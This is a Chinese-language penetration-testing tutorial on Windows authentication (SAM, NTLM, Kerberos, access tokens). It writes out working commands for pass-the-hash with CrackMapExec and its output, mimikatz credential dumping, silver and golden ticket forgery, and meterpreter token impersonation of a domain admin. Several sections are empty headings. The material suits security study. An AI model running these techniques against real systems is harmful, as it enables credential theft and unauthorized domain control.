在本地登录 Windows 的情况下,操作系统会使用用户输入的密码作为凭证去与系统中的密码进行验证,但是操作系统中的密码存储在哪里呢? 路径: %SystemRoot%\system32\config\sam 当我们登录系统的时候,系统会自动地读取 SAM 文件中的“密码”与我们输入的“密码”进行比对,如果相同,证明认证成功!

这个 SAM 文件中保留了计算机本地所有用户的凭证信息,可以理解为是一个数据库。
NTLM Hash 是支持 Net NTLM 认证协议及本地认证过程中的一个重要参与物,其长度为 32 位,由数字与字母组成。 Windows 本身不存储用户的明文密码,它会将用户的明文密码经过加密算法后存储在 SAM 数据库中。 当用户登录时,将用户输入的明文密码也加密成 NTLM Hash,与 SAM 数据库中的 NTLM Hash 进行比较。NTLM Hash 的前身是 LM Hash,目前基本淘汰,但是还是存在。

admin => 209c6174da490caeb422f3fa5a7ae634

由于后者都为 0,结果可想而知,那就都是 0;
在内网渗透中,经常遇到工作组环境,而工作组环境是一个逻辑上的网络环境(工作区),隶属于工作组的机器之间无法互相建立一个完美的信任机制,只能点对点,是比较落后的认证方式,没有信托机构。
假设 A 主机与 B 主机属于同一个工作组环境,A 想访问 B 主机上的资料,需要将一个存在于 B 主机上的账户凭证发送至 B 主机,经过认证才能够访问 B 主机上的资源。
这是我们接触比较多的 SMB 共享文件的案例,SMB 的默认端口是 445。
早期 SMB 协议在网络上传输明文口令。后来出现 LAN Manager Challenge/Response 验证机制,简称 LM,它是如此简单以至很容易就被破解,现在又有了 NTLM v2 以及 Kerberos。
第一步:协商

第二步:质询完整过程:
第三步:验证

使用另外一种方式解读:
注意:
NTLM v1 与 NTLM v2 最显著的区别就是 Challenge 与加密算法不同,共同点就是加密的原料都是 NTLM Hash。
下面细说一下有什么不同: Challenge:NTLM v1 的 Challenge 有 8 位,NTLM v2 的 Challenge 为 16 位 Net-NTLM Hash:NTLM v1 的主要加密算法是 DES ,NTLM v2 的主要加密算法是 HMAC-MD5 。 //Responder、smbexec
在内网渗透中,我们经常会需要抓取管理员的密码、NTLM Hash,通过搜集这些信息有助于我们扩大战果, 尤其是在域环境下 。
要完成一个 NTLM 认证,第一步需要客户端将自己要参与认证的用户名发送至服务器端,等待服务器端给出的 Challenge 其实哈希传递就是使用用户名对应的 NTLM Hash 将服务器给出的 Chanllenge 加密,生成一个 Response,来完成认证。 Pass The Hash 能够完成一个不需要输入密码的 NTLM 协议认证流程,所以不算是一个漏洞,算是一个技巧。
Pass The Hash 的工具: Smbmap
CrackMapExec
Smbexec
Metasploit
使用 CrackMapExec 实现 Hash 传递:
root@kali:~/cache# cme smb 192.168.3.5 -u administrator -H dab7de8feeb5ecac65faf9fdc6cac3a9 -x whoami
SMB 192.168.3.5 445 LIYINGZHEA30B
[*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:LIYINGZHEA30B)
(domain:PAYLOADS) (signing:False) (SMBv1:True)
SMB 192.168.3.5 445 LIYINGZHEA30B
[+] PAYLOADS\administrator dab7de8feeb5ecac65faf9fdc6cac3a9
(Pwn3d!)SMB 192.168.3.5 445 LIYINGZHEA30B [+] Executed command
Windows 提供了为企业管理资产、服务、网络对象进行组织化的管理,这非常符合企业架构的管理模式。而承载这些管理机制的就是活动目录服务。如果要搭建一个域,就需要安装活动目录服务。
活动目录服务以域名来划分域的边界,域外就不属于管理范围了,也就是说,一个域对应一个域名,域之间也可以相互信任。
Active Directory 存储了有关 网络对象 的信息,并且让管理员和用户能够轻松地查找和使用这些信息。Active Directory 使用了一种 结构化的数据存储方式,并以此作为基础对目录信息进行合乎 逻辑的分层组织 。
网络对象分为 :用户、用户组、计算机、域、组织单位以及安全策略等。
在域中,网络对象可以相互访问,但是在真实情况中,需要对某些部门的计算机进行限制,例如:销售部门不能访问技术部门的服务器。
这个中间就需要 Kerberos 认证协议来验证网络对象间的权限。
Kerberos 是一种网络认证协议 ,其设计目标是通过 密钥系统 为客户机/服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全, 并假定网络上传送的数据包可以被任意地读取、修改和插入数据 。在以上情况下,Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥) 执行认证服务的。
Kerberos 的标志是三只狗头,狗头分别代表以下角色:

从物理层面看,AD 与 KDC 均为域控制器(Domain Controller)。






白银票据的特点:
在第三步认证中的 Ticket 的组成: Ticket = Server Hash(Server Session Key + Client info + End Time)
当拥有 Server Hash 时,我们就可以伪造一个不经过 KDC 认证的一个 Ticket。
PS:Server Session Key 在未发送 Ticket 之前,服务器是不知道 Server Session Key 是什么的。 所以,一切凭据都来源于 Server Hash。
首先需要导出 Server Hash:
C:\files>mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt
伪造票据:
mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit
Other:
由于白银票据需要目标服务器的 Hash,所以没办法生成对应域内所有服务器的票据,也不能通过 TGT 申请。因此只能针对服务器上的某些服务去伪造,伪造的服务类型列表如下:
| 服务注释 | 服务名 |
|---|---|
| WMI | HOST、RPCSS |
| Powershell Remoteing | HOST、HTTP |
| WinRM | HOST、HTTP |
| Scheduled Tasks | HOST |
| LDAP 、DCSync | LDAP |
| Windows File Share (CIFS) | CIFS |
| Windows Remote ServerAdministration Tools | RPCSS、LDAP、CIFS |
黄金票据特点:

注意 :这里的 krbtgt hash 就是之前讲的 KDC Hash
使用 meterpreter 中的 kiwi 模块: load kiwi



伪造票据:
mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit
Windows Token 其实叫 Access Token(访问令牌),它是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后,都会生成一个 Access Token,这个 Token 在用户创建进程或者线程 时会被使用,不断的拷贝,这也就解释了 A 用户创建一个进程而该进程没有 B 用户的权限。
Access Token 种类:
一般情况下,用户双击运行一个程序,都会拷贝“explorer.exe”的 Access Token。 当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只有在重启机器后才会清除。
安全标识符是一个唯一的字符串,它可以代表一个账户、一个用户 组、或者是一次登录。通常它还有一个 SID 固定列表,例如 Everyone 这种已经内置的账户,默认拥有固定的 SID。
SID 的表现形式:
每个进程创建时都会根据登录会话权限由 LSA(Local Security Authority) 分配一个 Token(如果 CreaetProcess 时自己指定了 Token, LSA 会用该 Token, 否则就用父进程 Token 的一份拷贝。
当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只有在重启机器后才会清除。 可以使用多种工具查看目前系统上存在的模拟令牌:
案例(针对某跨国企业的一次渗透测试 获取 DC 权限):
meterpreter > getsystem
meterpreter > load incognito meterpreter > list_tokens –u
Delegation Tokens Available ============================== NT AUTHORITY\LOCAL SERVICENT AUTHORITY\NETWORK SERVICENT AUTHORITY\SYSTEM PAYLOADS\Administrator PAYLOADS\w7
meterpreter > impersonate_token "PAYLOADS\\Administrator”
[+] Delegation token available
[+] Successfully impersonated user PAYLOADS\Administrator
禁止 Domain Admins 登录对外且未做安全加固的服务器,因为一旦服务器被入侵,域管理员的令牌可能会被攻击者假冒,从控制 DC。
如果想清除假冒,重启服务器即可。


